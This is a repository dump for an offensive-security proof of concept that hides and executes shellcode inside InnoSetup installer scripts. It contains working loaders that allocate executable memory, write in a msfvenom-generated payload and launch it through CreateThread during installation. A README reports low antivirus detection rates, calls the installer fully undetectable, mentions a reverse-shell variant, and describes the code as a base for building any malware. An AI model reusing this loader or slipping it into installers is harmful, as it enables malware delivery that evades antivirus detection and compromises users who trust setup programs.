├── old ├── payload_helper.py ├── innosetup_shellcode_template.iss └── innosetup_exec_calc_shellcode.iss ├── README.md ├── inno-shellcode.min.iss └── inno-shellcode.iss /old/payload_helper.py: -------------------------------------------------------------------------------- 1 | payload = b"" # Replace with generated payload. 2 | # Example: msfvenom -p windows/exec -a x86 --platform Windows CMD=calc.exe EXITFUNC=thread -f python -v payload 3 | 4 | if __name__ == '__main__': 5 | template = "PAYLOAD[%d] := $%x;\n"; 6 | 7 | payload_code = "" 8 | 9 | for index, byte in enumerate(payload): 10 | payload_code += template % (index, byte) 11 | 12 | 13 | print(payload_code) 14 | print(len(payload)) 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # InnoSetup Execute Shellcode PoC 2 | 3 | ![Screenshot 2021-07-21 at 16.05.10.png](https://www.phrozen.io/media/all/Screenshot_2021-07-21_at_16.05.10.png) 4 | 5 | This proof of concept illustrates how the InnoSetup Scripting Engine can be utilized to host a local or remote process shellcode payload and then execute it. 6 | 7 | The motivation behind this concept is to highlight the potential risks associated with (self) installers. Not only can they harbor malicious programs, but they can also execute native code through their scripting engines. This method could potentially evade antivirus detections due to their seemingly benign nature. 8 | 9 | The most challenging aspect of this project was understanding how to manipulate pointers and references. This example provides a foundation from which it is feasible to create any type of malware from scratch, including ones with increased complexity. Should you decide to experiment further, and encounter any technical queries, don't hesitate to ask for assistance. 10 | 11 | ## Parameters 12 | 13 | The parameters can be found at the beginning of the InnoSetup Script File. 14 | 15 | * **SpawnNewProcess:** (1|0): If this is set to 1, the payload will be stored and executed from a newly spawned process (default: notepad.exe). If set to 0, the payload will be stored and executed from the current InnoSetup Installer Process. 16 | * **SpawnProcessName:** (STR): This parameter comes into play only if SpawnNewProcess is set to 1. You can modify this value to spawn the process of your choice. 17 | * **verbose:** (1|0): Use this parameter to determine whether you want to generate debug messages (for example, from DbgView). 18 | * **Payload:** (HEX_STR): This parameter is used to define the payload itself in hex format (aligned 2). If you're using Msfvenom, utilize the -f hex option. 19 | 20 | ## Example 21 | 22 | Creating your own setup with a personalized payload is now straightforward. 23 | 24 | Ensure that your shellcode is encoded in a hex string, and then replace the Payload parameter with your payload. 25 | 26 | Here's an illustrative example using Msfvenom: 27 | 28 | `msfvenom -p -a x86 --platform Windows EXITFUNC=thread -f hex` 29 | 30 | Example: `msfvenom -p windows/exec -a x86 --platform Windows CMD=calc.exe EXITFUNC=thread -f hex` 31 | 32 | ![Screenshot 2021-07-21 at 16.04.41.png](https://www.phrozen.io/media/all/Screenshot_2021-07-21_at_16.04.41.png) 33 | 34 | ``` 35 | #define Payload "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbe01d2a0a68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500" 36 | ``` 37 | 38 | ![Screenshot 2021-07-21 at 16.04.04.png](https://www.phrozen.io/media/all/Screenshot_2021-07-21_at_16.04.04.png) 39 | 40 | You can modify the other parameters as per your needs before building your setup application to appreciate the result. 41 | 42 | Please note: If you are using the **SpawnNewProcess** parameter, it is highly recommended to use the `ExitProcess` **EXITFUNC** method to terminate the entire spawned process, as opposed to using thread. 43 | 44 | ## VirusTotal Score (20 JULY 2021) 45 | 46 | https://www.virustotal.com/gui/file/697f7d55aa19e9dfaa5b86d8117c4f57adaba1ea252e008d7760e0a192515ac8/detection 47 | 48 | The current detection rate stands at 3/69, which is mostly due to generic detection because of the file's reputation. Therefore, it's highly probable that the file is fully undetectable (FUD). 49 | 50 | ![Screenshot 2021-07-20 at 19.09.53.png](https://www.phrozen.io/media/all/Screenshot_2021-07-20_at_19.09.53.png) 51 | 52 | ## VirusTotal Score (UPDATE: 21 JULY 2021) 53 | 54 | Below are the results of a setup scan using a reverse shell payload from Msfvenom, without any encoding schema applied: 55 | 56 | https://www.virustotal.com/gui/file/2723ba8196721a3fd8b792b195dc20928d53d0e8b21c47da353b894cace847b9/detection 57 | 58 | With a detection rate of 4 out of 69, it successfully evades the majority of commonly used antivirus software. 59 | -------------------------------------------------------------------------------- /old/innosetup_shellcode_template.iss: -------------------------------------------------------------------------------- 1 | ; -------------------------------------------------------------------------------------- 2 | ; PoC Author: Jean-Pierre LESUEUR (@DarkCoderSc) - 3 | ; https://www.phrozen.io/ - 4 | ; https://www.github.com/darkcodersc - 5 | ; jplesueur@phrozen.io - 6 | ; - 7 | ; Category: Offsec PoC - 8 | ; Description: - 9 | ; Embedd shellcode inside InnoSetup for execution during setup installation. - 10 | ; The shellcode is executed using InnoSetup Pascal Code Engine through Windows API. - 11 | ; - 12 | ; REL: July 2021 - 13 | ; -------------------------------------------------------------------------------------- 14 | 15 | [Setup] 16 | AppId={{D7EAA450-9906-4D8C-9E74-ED44DF692880} 17 | AppName=InnoShellcode Example 18 | AppVersion=1.5 19 | AppPublisher=DarkCoderSc 20 | AppPublisherURL=https://www.twitter.com/DarkCoderSc 21 | AppSupportURL=https://www.twitter.com/DarkCoderSc 22 | AppUpdatesURL=https://www.twitter.com/DarkCoderSc 23 | CreateAppDir=no 24 | PrivilegesRequired=lowest 25 | OutputBaseFilename=innomal 26 | Compression=lzma 27 | SolidCompression=yes 28 | WizardStyle=modern 29 | Uninstallable=no 30 | 31 | [Languages] 32 | Name: "english"; MessagesFile: "compiler:Default.isl" 33 | 34 | [Code] 35 | 36 | type 37 | TPayloadArray = array[0..FIX_ME_PLEASE-1] of byte; 38 | 39 | procedure ExitProcess(uExitCode: Integer); external 'ExitProcess@kernel32.dll stdcall'; 40 | 41 | function VirtualAlloc(lpAddress : PAnsiChar; dwSize : Cardinal; flAllocationType, flProtect : DWORD) : Cardinal; external 'VirtualAlloc@kernel32.dll stdcall'; 42 | function VirtualFree(lpAddress : Cardinal; dwSize : Cardinal; dwFreeType : DWORD) : BOOL; external 'VirtualFree@kernel32.dll stdcall'; 43 | function GetLastError() : DWORD; external 'GetLastError@kernel32.dll stdcall'; 44 | function CreateThread(lpThreadAttributes : PAnsiChar; dwStackSize : Cardinal; lpStartAddress : Cardinal; lpParameter : PAnsiChar; dwCreationFlags : DWORD; var lpThreadId : DWORD) : THANDLE; external 'CreateThread@kernel32.dll stdcall'; 45 | procedure RtlMoveMemory(Dest: Cardinal; var Source: TPayloadArray; Len: Integer); external 'RtlMoveMemory@kernel32.dll stdcall'; 46 | procedure OutputDebugAddress(lpAddress : Cardinal); external 'OutputDebugStringA@kernel32.dll stdcall'; 47 | procedure OutputDebugStringA(lpOutputString : PAnsiChar); external 'OutputDebugStringA@kernel32.dll stdcall'; 48 | function CryptBinaryToStringA(lpAddress : Cardinal; cbBinary, dwFlags : DWORD; pszString : Cardinal; var pcchString : DWORD) : BOOL; external 'CryptBinaryToStringA@crypt32.dll stdcall'; 49 | 50 | const MEM_COMMIT = $00001000; 51 | MEM_RESERVE = $00002000; 52 | PAGE_EXECUTE_READWRITE = $00000040; 53 | PAGE_READWRITE = $00000004; 54 | CRYPT_STRING_HEX = $00000004; 55 | MEM_RELEASE = $00008000; 56 | 57 | var pNil : PAnsiChar; // Trick to defined missing "nil/null" instruction on InnoSetup: InnoSetup initialize variable to NULL. 58 | PAYLOAD : TPayloadArray; 59 | 60 | { _.GetMem } 61 | 62 | function GetMem(const ASize : Cardinal; const AExecute : Boolean) : Cardinal; 63 | var AFlags : DWORD; 64 | ARet : Cardinal; 65 | begin 66 | if AExecute then 67 | AFlags := PAGE_EXECUTE_READWRITE 68 | else 69 | AFlags := PAGE_READWRITE; 70 | 71 | ARet := VirtualAlloc(pNil, ASize, MEM_COMMIT or MEM_RESERVE, AFlags); 72 | 73 | if GetLastError() = 0 then 74 | result := ARet 75 | else begin 76 | OutputDebugStringA(Format('Failed to create memory region with last error=[%d].', [GetLastError()])); 77 | 78 | result := 0; 79 | end; 80 | end; 81 | 82 | { _.FreeMem } 83 | 84 | procedure FreeMem(const lpAddress : Cardinal; const ASize : DWORD); 85 | begin 86 | VirtualFree(lpAddress, ASize, MEM_RELEASE); 87 | end; 88 | 89 | { _.DumpMemory } 90 | 91 | procedure DumpMemory(const lpAddress : Cardinal; const ASize : DWORD); 92 | var AMemAddr : Cardinal; 93 | AReqSize : DWORD; 94 | begin 95 | CryptBinaryToStringA(lpAddress, ASize, CRYPT_STRING_HEX, 0, AReqSize); 96 | 97 | AMemAddr := GetMem(AReqSize, False); 98 | try 99 | CryptBinaryToStringA(lpAddress, ASize, CRYPT_STRING_HEX, AMemAddr, AReqSize); 100 | 101 | OutputDebugAddress(AMemAddr); 102 | finally 103 | FreeMem(lpAddress, ASize); 104 | end; 105 | end; 106 | 107 | { _.InitializePayload } 108 | 109 | (* Example payload: 110 | msfvenom -p windows/exec -a x86 --platform Windows CMD=calc.exe EXITFUNC=thread -f python -v payload 111 | *) 112 | procedure InitializePayload(); 113 | begin 114 | FIX_ME_PLEASE 115 | end; 116 | 117 | { _.CurStepChanged } 118 | 119 | procedure CurStepChanged(CurStep: TSetupStep); 120 | var AThreadId : DWORD; 121 | AThreadHandle : THandle; 122 | AMemAddr : Cardinal; 123 | begin 124 | case CurStep of 125 | ssInstall : begin 126 | OutputDebugStringA('Initialize Payload...'); 127 | InitializePayload(); 128 | 129 | /// 130 | OutputDebugStringA('Create new memory region to host our payload...'); 131 | 132 | AMemAddr := GetMem(Length(PAYLOAD), True); 133 | if (AMemAddr = 0) then 134 | Exit; 135 | 136 | OutputDebugStringA( 137 | Format('Memory region successfully created at address=[%x(%d)], size=[%dB].', [ 138 | AMemAddr, 139 | AMemAddr, 140 | Length(PAYLOAD) 141 | ]) 142 | ); 143 | 144 | OutputDebugStringA('Copy our payload to new memory region...'); 145 | 146 | RtlMoveMemory(AMemAddr, PAYLOAD, Length(PAYLOAD)); 147 | 148 | OutputDebugStringA('Payload successfully copied. Dumping memory region content:'); 149 | DumpMemory(AMemAddr, Length(PAYLOAD)); 150 | OutputDebugStringA('---'); 151 | 152 | OutputDebugStringA('Execute payload in a separate thread...'); 153 | 154 | AThreadHandle := CreateThread(pNil, 0, AMemAddr, pNil, 0, AThreadId); 155 | if (AThreadHandle > 0) or (GetLastError <> 0) then 156 | OutputDebugStringA(Format('Payload successfully executed, ThreadHandle=[%d], ThreadId=[%d].', [AThreadHandle, AThreadId])) 157 | else 158 | OutputDebugStringA('Failed to execute payload.'); 159 | end; 160 | end; 161 | end; 162 | -------------------------------------------------------------------------------- /old/innosetup_exec_calc_shellcode.iss: -------------------------------------------------------------------------------- 1 | ; -------------------------------------------------------------------------------------- 2 | ; PoC Author: Jean-Pierre LESUEUR (@DarkCoderSc) - 3 | ; https://www.phrozen.io/ - 4 | ; https://www.github.com/darkcodersc - 5 | ; jplesueur@phrozen.io - 6 | ; - 7 | ; Category: Offsec PoC - 8 | ; Description: - 9 | ; Embedd shellcode inside InnoSetup for execution during setup installation. - 10 | ; The shellcode is executed using InnoSetup Pascal Code Engine through Windows API. - 11 | ; 12 | ; REL: July 2021 13 | ; -------------------------------------------------------------------------------------- 14 | 15 | [Setup] 16 | AppId={{D7EAA450-9906-4D8C-9E74-ED44DF692880} 17 | AppName=InnoShellcode Example 18 | AppVersion=1.5 19 | AppPublisher=DarkCoderSc 20 | AppPublisherURL=https://www.twitter.com/DarkCoderSc 21 | AppSupportURL=https://www.twitter.com/DarkCoderSc 22 | AppUpdatesURL=https://www.twitter.com/DarkCoderSc 23 | CreateAppDir=no 24 | PrivilegesRequired=lowest 25 | OutputBaseFilename=innomal 26 | Compression=lzma 27 | SolidCompression=yes 28 | WizardStyle=modern 29 | Uninstallable=no 30 | 31 | [Languages] 32 | Name: "english"; MessagesFile: "compiler:Default.isl" 33 | 34 | [Code] 35 | 36 | type 37 | TPayloadArray = array[0..193-1] of byte; 38 | 39 | procedure ExitProcess(uExitCode: Integer); external 'ExitProcess@kernel32.dll stdcall'; 40 | 41 | function VirtualAlloc(lpAddress : PAnsiChar; dwSize : Cardinal; flAllocationType, flProtect : DWORD) : Cardinal; external 'VirtualAlloc@kernel32.dll stdcall'; 42 | function VirtualFree(lpAddress : Cardinal; dwSize : Cardinal; dwFreeType : DWORD) : BOOL; external 'VirtualFree@kernel32.dll stdcall'; 43 | function GetLastError() : DWORD; external 'GetLastError@kernel32.dll stdcall'; 44 | function CreateThread(lpThreadAttributes : PAnsiChar; dwStackSize : Cardinal; lpStartAddress : Cardinal; lpParameter : PAnsiChar; dwCreationFlags : DWORD; var lpThreadId : DWORD) : THANDLE; external 'CreateThread@kernel32.dll stdcall'; 45 | procedure RtlMoveMemory(Dest: Cardinal; var Source: TPayloadArray; Len: Integer); external 'RtlMoveMemory@kernel32.dll stdcall'; 46 | procedure OutputDebugAddress(lpAddress : Cardinal); external 'OutputDebugStringA@kernel32.dll stdcall'; 47 | procedure OutputDebugStringA(lpOutputString : PAnsiChar); external 'OutputDebugStringA@kernel32.dll stdcall'; 48 | function CryptBinaryToStringA(lpAddress : Cardinal; cbBinary, dwFlags : DWORD; pszString : Cardinal; var pcchString : DWORD) : BOOL; external 'CryptBinaryToStringA@crypt32.dll stdcall'; 49 | 50 | const MEM_COMMIT = $00001000; 51 | MEM_RESERVE = $00002000; 52 | PAGE_EXECUTE_READWRITE = $00000040; 53 | PAGE_READWRITE = $00000004; 54 | CRYPT_STRING_HEX = $00000004; 55 | MEM_RELEASE = $00008000; 56 | 57 | var pNil : PAnsiChar; // Trick to defined missing "nil/null" instruction on InnoSetup: InnoSetup initialize variable to NULL. 58 | PAYLOAD : TPayloadArray; 59 | 60 | { _.GetMem } 61 | 62 | function GetMem(const ASize : Cardinal; const AExecute : Boolean) : Cardinal; 63 | var AFlags : DWORD; 64 | ARet : Cardinal; 65 | begin 66 | if AExecute then 67 | AFlags := PAGE_EXECUTE_READWRITE 68 | else 69 | AFlags := PAGE_READWRITE; 70 | 71 | ARet := VirtualAlloc(pNil, ASize, MEM_COMMIT or MEM_RESERVE, AFlags); 72 | 73 | if GetLastError() = 0 then 74 | result := ARet 75 | else begin 76 | OutputDebugStringA(Format('Failed to create memory region with last error=[%d].', [GetLastError()])); 77 | 78 | result := 0; 79 | end; 80 | end; 81 | 82 | { _.FreeMem } 83 | 84 | procedure FreeMem(const lpAddress : Cardinal; const ASize : DWORD); 85 | begin 86 | VirtualFree(lpAddress, ASize, MEM_RELEASE); 87 | end; 88 | 89 | { _.DumpMemory } 90 | 91 | procedure DumpMemory(const lpAddress : Cardinal; const ASize : DWORD); 92 | var AMemAddr : Cardinal; 93 | AReqSize : DWORD; 94 | begin 95 | CryptBinaryToStringA(lpAddress, ASize, CRYPT_STRING_HEX, 0, AReqSize); 96 | 97 | AMemAddr := GetMem(AReqSize, False); 98 | try 99 | CryptBinaryToStringA(lpAddress, ASize, CRYPT_STRING_HEX, AMemAddr, AReqSize); 100 | 101 | OutputDebugAddress(AMemAddr); 102 | finally 103 | FreeMem(lpAddress, ASize); 104 | end; 105 | end; 106 | 107 | { _.InitializePayload } 108 | 109 | (* Example payload: 110 | msfvenom -p windows/exec -a x86 --platform Windows CMD=calc.exe EXITFUNC=thread -f python -v payload 111 | *) 112 | procedure InitializePayload(); 113 | begin 114 | PAYLOAD[0] := $fc; 115 | PAYLOAD[1] := $e8; 116 | PAYLOAD[2] := $82; 117 | PAYLOAD[3] := $0; 118 | PAYLOAD[4] := $0; 119 | PAYLOAD[5] := $0; 120 | PAYLOAD[6] := $60; 121 | PAYLOAD[7] := $89; 122 | PAYLOAD[8] := $e5; 123 | PAYLOAD[9] := $31; 124 | PAYLOAD[10] := $c0; 125 | PAYLOAD[11] := $64; 126 | PAYLOAD[12] := $8b; 127 | PAYLOAD[13] := $50; 128 | PAYLOAD[14] := $30; 129 | PAYLOAD[15] := $8b; 130 | PAYLOAD[16] := $52; 131 | PAYLOAD[17] := $c; 132 | PAYLOAD[18] := $8b; 133 | PAYLOAD[19] := $52; 134 | PAYLOAD[20] := $14; 135 | PAYLOAD[21] := $8b; 136 | PAYLOAD[22] := $72; 137 | PAYLOAD[23] := $28; 138 | PAYLOAD[24] := $f; 139 | PAYLOAD[25] := $b7; 140 | PAYLOAD[26] := $4a; 141 | PAYLOAD[27] := $26; 142 | PAYLOAD[28] := $31; 143 | PAYLOAD[29] := $ff; 144 | PAYLOAD[30] := $ac; 145 | PAYLOAD[31] := $3c; 146 | PAYLOAD[32] := $61; 147 | PAYLOAD[33] := $7c; 148 | PAYLOAD[34] := $2; 149 | PAYLOAD[35] := $2c; 150 | PAYLOAD[36] := $20; 151 | PAYLOAD[37] := $c1; 152 | PAYLOAD[38] := $cf; 153 | PAYLOAD[39] := $d; 154 | PAYLOAD[40] := $1; 155 | PAYLOAD[41] := $c7; 156 | PAYLOAD[42] := $e2; 157 | PAYLOAD[43] := $f2; 158 | PAYLOAD[44] := $52; 159 | PAYLOAD[45] := $57; 160 | PAYLOAD[46] := $8b; 161 | PAYLOAD[47] := $52; 162 | PAYLOAD[48] := $10; 163 | PAYLOAD[49] := $8b; 164 | PAYLOAD[50] := $4a; 165 | PAYLOAD[51] := $3c; 166 | PAYLOAD[52] := $8b; 167 | PAYLOAD[53] := $4c; 168 | PAYLOAD[54] := $11; 169 | PAYLOAD[55] := $78; 170 | PAYLOAD[56] := $e3; 171 | PAYLOAD[57] := $48; 172 | PAYLOAD[58] := $1; 173 | PAYLOAD[59] := $d1; 174 | PAYLOAD[60] := $51; 175 | PAYLOAD[61] := $8b; 176 | PAYLOAD[62] := $59; 177 | PAYLOAD[63] := $20; 178 | PAYLOAD[64] := $1; 179 | PAYLOAD[65] := $d3; 180 | PAYLOAD[66] := $8b; 181 | PAYLOAD[67] := $49; 182 | PAYLOAD[68] := $18; 183 | PAYLOAD[69] := $e3; 184 | PAYLOAD[70] := $3a; 185 | PAYLOAD[71] := $49; 186 | PAYLOAD[72] := $8b; 187 | PAYLOAD[73] := $34; 188 | PAYLOAD[74] := $8b; 189 | PAYLOAD[75] := $1; 190 | PAYLOAD[76] := $d6; 191 | PAYLOAD[77] := $31; 192 | PAYLOAD[78] := $ff; 193 | PAYLOAD[79] := $ac; 194 | PAYLOAD[80] := $c1; 195 | PAYLOAD[81] := $cf; 196 | PAYLOAD[82] := $d; 197 | PAYLOAD[83] := $1; 198 | PAYLOAD[84] := $c7; 199 | PAYLOAD[85] := $38; 200 | PAYLOAD[86] := $e0; 201 | PAYLOAD[87] := $75; 202 | PAYLOAD[88] := $f6; 203 | PAYLOAD[89] := $3; 204 | PAYLOAD[90] := $7d; 205 | PAYLOAD[91] := $f8; 206 | PAYLOAD[92] := $3b; 207 | PAYLOAD[93] := $7d; 208 | PAYLOAD[94] := $24; 209 | PAYLOAD[95] := $75; 210 | PAYLOAD[96] := $e4; 211 | PAYLOAD[97] := $58; 212 | PAYLOAD[98] := $8b; 213 | PAYLOAD[99] := $58; 214 | PAYLOAD[100] := $24; 215 | PAYLOAD[101] := $1; 216 | PAYLOAD[102] := $d3; 217 | PAYLOAD[103] := $66; 218 | PAYLOAD[104] := $8b; 219 | PAYLOAD[105] := $c; 220 | PAYLOAD[106] := $4b; 221 | PAYLOAD[107] := $8b; 222 | PAYLOAD[108] := $58; 223 | PAYLOAD[109] := $1c; 224 | PAYLOAD[110] := $1; 225 | PAYLOAD[111] := $d3; 226 | PAYLOAD[112] := $8b; 227 | PAYLOAD[113] := $4; 228 | PAYLOAD[114] := $8b; 229 | PAYLOAD[115] := $1; 230 | PAYLOAD[116] := $d0; 231 | PAYLOAD[117] := $89; 232 | PAYLOAD[118] := $44; 233 | PAYLOAD[119] := $24; 234 | PAYLOAD[120] := $24; 235 | PAYLOAD[121] := $5b; 236 | PAYLOAD[122] := $5b; 237 | PAYLOAD[123] := $61; 238 | PAYLOAD[124] := $59; 239 | PAYLOAD[125] := $5a; 240 | PAYLOAD[126] := $51; 241 | PAYLOAD[127] := $ff; 242 | PAYLOAD[128] := $e0; 243 | PAYLOAD[129] := $5f; 244 | PAYLOAD[130] := $5f; 245 | PAYLOAD[131] := $5a; 246 | PAYLOAD[132] := $8b; 247 | PAYLOAD[133] := $12; 248 | PAYLOAD[134] := $eb; 249 | PAYLOAD[135] := $8d; 250 | PAYLOAD[136] := $5d; 251 | PAYLOAD[137] := $6a; 252 | PAYLOAD[138] := $1; 253 | PAYLOAD[139] := $8d; 254 | PAYLOAD[140] := $85; 255 | PAYLOAD[141] := $b2; 256 | PAYLOAD[142] := $0; 257 | PAYLOAD[143] := $0; 258 | PAYLOAD[144] := $0; 259 | PAYLOAD[145] := $50; 260 | PAYLOAD[146] := $68; 261 | PAYLOAD[147] := $31; 262 | PAYLOAD[148] := $8b; 263 | PAYLOAD[149] := $6f; 264 | PAYLOAD[150] := $87; 265 | PAYLOAD[151] := $ff; 266 | PAYLOAD[152] := $d5; 267 | PAYLOAD[153] := $bb; 268 | PAYLOAD[154] := $e0; 269 | PAYLOAD[155] := $1d; 270 | PAYLOAD[156] := $2a; 271 | PAYLOAD[157] := $a; 272 | PAYLOAD[158] := $68; 273 | PAYLOAD[159] := $a6; 274 | PAYLOAD[160] := $95; 275 | PAYLOAD[161] := $bd; 276 | PAYLOAD[162] := $9d; 277 | PAYLOAD[163] := $ff; 278 | PAYLOAD[164] := $d5; 279 | PAYLOAD[165] := $3c; 280 | PAYLOAD[166] := $6; 281 | PAYLOAD[167] := $7c; 282 | PAYLOAD[168] := $a; 283 | PAYLOAD[169] := $80; 284 | PAYLOAD[170] := $fb; 285 | PAYLOAD[171] := $e0; 286 | PAYLOAD[172] := $75; 287 | PAYLOAD[173] := $5; 288 | PAYLOAD[174] := $bb; 289 | PAYLOAD[175] := $47; 290 | PAYLOAD[176] := $13; 291 | PAYLOAD[177] := $72; 292 | PAYLOAD[178] := $6f; 293 | PAYLOAD[179] := $6a; 294 | PAYLOAD[180] := $0; 295 | PAYLOAD[181] := $53; 296 | PAYLOAD[182] := $ff; 297 | PAYLOAD[183] := $d5; 298 | PAYLOAD[184] := $63; 299 | PAYLOAD[185] := $61; 300 | PAYLOAD[186] := $6c; 301 | PAYLOAD[187] := $63; 302 | PAYLOAD[188] := $2e; 303 | PAYLOAD[189] := $65; 304 | PAYLOAD[190] := $78; 305 | PAYLOAD[191] := $65; 306 | PAYLOAD[192] := $0; 307 | end; 308 | 309 | { _.CurStepChanged } 310 | 311 | procedure CurStepChanged(CurStep: TSetupStep); 312 | var AThreadId : DWORD; 313 | AThreadHandle : THandle; 314 | AMemAddr : Cardinal; 315 | begin 316 | case CurStep of 317 | ssInstall : begin 318 | OutputDebugStringA('Initialize Payload...'); 319 | InitializePayload(); 320 | 321 | /// 322 | OutputDebugStringA('Create new memory region to host our payload...'); 323 | 324 | AMemAddr := GetMem(Length(PAYLOAD), True); 325 | if (AMemAddr = 0) then 326 | Exit; 327 | 328 | OutputDebugStringA( 329 | Format('Memory region successfully created at address=[%x(%d)], size=[%dB].', [ 330 | AMemAddr, 331 | AMemAddr, 332 | Length(PAYLOAD) 333 | ]) 334 | ); 335 | 336 | OutputDebugStringA('Copy our payload to new memory region...'); 337 | 338 | RtlMoveMemory(AMemAddr, PAYLOAD, Length(PAYLOAD)); 339 | 340 | OutputDebugStringA('Payload successfully copied. Dumping memory region content:'); 341 | DumpMemory(AMemAddr, Length(PAYLOAD)); 342 | OutputDebugStringA('---'); 343 | 344 | OutputDebugStringA('Execute payload in a separate thread...'); 345 | 346 | AThreadHandle := CreateThread(pNil, 0, AMemAddr, pNil, 0, AThreadId); 347 | if (AThreadHandle > 0) or (GetLastError <> 0) then 348 | OutputDebugStringA(Format('Payload successfully executed, ThreadHandle=[%d], ThreadId=[%d].', [AThreadHandle, AThreadId])) 349 | else 350 | OutputDebugStringA('Failed to execute payload.'); 351 | end; 352 | end; 353 | end; 354 | -------------------------------------------------------------------------------- /inno-shellcode.min.iss: -------------------------------------------------------------------------------- 1 | ; -------------------------------------------------------------------------------------- 2 | ; PoC Author: Jean-Pierre LESUEUR (@DarkCoderSc) - 3 | ; https://www.phrozen.io/ - 4 | ; https://www.github.com/darkcodersc - 5 | ; jplesueur@phrozen.io - 6 | ; - 7 | ; Category: Offsec PoC - 8 | ; Description: - 9 | ; Embedd shellcode inside InnoSetup for execution during setup installation. - 10 | ; The shellcode is executed using InnoSetup Pascal Code Engine through Windows API. - 11 | ; - 12 | ; REL: August 2021 - 13 | ; (Minified version: verbose functionalities removed from code. - 14 | ; - 15 | ; TODO: - 16 | ; - [EASY] Support x86-64 InnoSetup Installers. - 17 | ; - [EASY] Run PE (Process Hollowing). - 18 | ; -------------------------------------------------------------------------------------- 19 | 20 | ; Configuration 21 | #define SpawnNewProcess 0 ; 1 = Yes; 0 = No, payload is hosted and executed in current process. 22 | #define SpawnProcessName "notepad.exe" ; Used if "SpawnNewProcess" is set to "1". 23 | 24 | ; msfvenom -p windows/exec -a x86 --platform Windows CMD=calc.exe EXITFUNC=thread -f hex 25 | ; If SpawnNewProcess is set to "1". It is recommended to use the EXITFUNC with ExitProcess instead of Thread. 26 | #define Payload "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbe01d2a0a68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500" 27 | 28 | ; BEGIN: Do whatever you want your setup to do. 29 | ; Basically, this example is just a basic setup template, in addition of executing a shellcode 30 | ; Your setup can do regular setup tasks like installing software. 31 | [Setup] 32 | AppId={{D7EAA450-9906-4D8C-9E74-ED44DF692880} 33 | AppName=InnoShellcode Example 34 | AppVersion=1.5 35 | AppPublisher=DarkCoderSc 36 | AppPublisherURL=https://www.twitter.com/DarkCoderSc 37 | AppSupportURL=https://www.twitter.com/DarkCoderSc 38 | AppUpdatesURL=https://www.twitter.com/DarkCoderSc 39 | CreateAppDir=no 40 | PrivilegesRequired=lowest 41 | OutputBaseFilename=innomal 42 | Compression=lzma 43 | SolidCompression=yes 44 | WizardStyle=modern 45 | Uninstallable=no 46 | 47 | [Languages] 48 | Name: "english"; MessagesFile: "compiler:Default.isl" 49 | 50 | ; END 51 | 52 | [Code] 53 | 54 | type 55 | { Structures } 56 | 57 | TPayloadArray = array of byte; 58 | __Pointer__ = PAnsiChar; 59 | TReference = Cardinal; 60 | 61 | { WinAPI Structures } 62 | 63 | TStartupInfoA = record 64 | cb : DWORD; 65 | lpReserved : __Pointer__; 66 | lpDesktop : __Pointer__; 67 | lpTitle : __Pointer__; 68 | dwX : DWORD; 69 | dwY : DWORD; 70 | dwXSize : DWORD; 71 | dwYSize : DWORD; 72 | dwXCountChars : DWORD; 73 | dwYCountChars : DWORD; 74 | dwFillAttribute : DWORD; 75 | dwFlags : DWORD; 76 | wShowWindow : Word; 77 | cbReserved2 : Word; 78 | lpReserved2 : __Pointer__; 79 | hStdInput : THandle; 80 | hStdOutput : THandle; 81 | hStdError : THandle; 82 | end; 83 | 84 | TProcessInformation = record 85 | hProcess : THandle; 86 | hThread : THandle; 87 | dwProcessId : DWORD; 88 | dwThreadId : DWORD; 89 | end; 90 | 91 | { WinAPI Definitions } 92 | 93 | // Alternatively we can use VirtualAllocEx with current process handle. 94 | function VirtualAlloc( 95 | lpAddress : __Pointer__; 96 | dwSize : Cardinal; 97 | flAllocationType, 98 | flProtect : DWORD 99 | ) : TReference; external 'VirtualAlloc@kernel32.dll stdcall'; 100 | 101 | function VirtualAllocEx( 102 | hProcess : THandle; 103 | lpAddress : __Pointer__; 104 | dwSize : Cardinal; 105 | flAllocationType, 106 | flProtect : DWORD 107 | ) : TReference; external 'VirtualAllocEx@kernel32.dll stdcall'; 108 | 109 | function VirtualFree( 110 | lpAddress : TReference; 111 | dwSize : Cardinal; 112 | dwFreeType : DWORD 113 | ) : BOOL; external 'VirtualFree@kernel32.dll stdcall'; 114 | 115 | function GetLastError() : DWORD; external 'GetLastError@kernel32.dll stdcall'; 116 | 117 | function CreateThread( 118 | lpThreadAttributes : __Pointer__; 119 | dwStackSize : Cardinal; 120 | lpStartAddress : TReference; 121 | lpParameter : __Pointer__; 122 | dwCreationFlags : DWORD; 123 | var lpThreadId : DWORD 124 | ) : THANDLE; external 'CreateThread@kernel32.dll stdcall'; 125 | 126 | procedure RtlMoveMemory( 127 | Dest : TReference; 128 | Source : TPayloadArray; 129 | Len : Integer 130 | ); external 'RtlMoveMemory@kernel32.dll stdcall'; 131 | 132 | function CreateProcessA( 133 | lpApplicationName : PAnsiChar; 134 | lpCommandLine : PAnsiChar; 135 | lpProcessAttributes : __Pointer__; 136 | lpThreadAttributes : __Pointer__; 137 | bInheritHandles : BOOL; 138 | dwCreationFlags : DWORD; 139 | lpEnvironment : PAnsiChar; 140 | lpCurrentDirectory : PAnsiChar; 141 | const lpStartupInfo : TStartupInfoA; 142 | var lpProcessInformation : TProcessInformation 143 | ) : BOOL; external 'CreateProcessA@kernel32.dll stdcall'; 144 | 145 | function WriteProcessMemory( 146 | hProcess : THandle; 147 | lpBaseAddress : TReference; // Ptr 148 | lpBuffer : TPayloadArray; 149 | nSize : Cardinal; 150 | var lpNumberOfBytesWritten : Cardinal 151 | ) : BOOL; external 'WriteProcessMemory@kernel32.dll stdcall'; 152 | 153 | function CreateRemoteThread( 154 | hProcess : THandle; 155 | lpThreadAttributes : 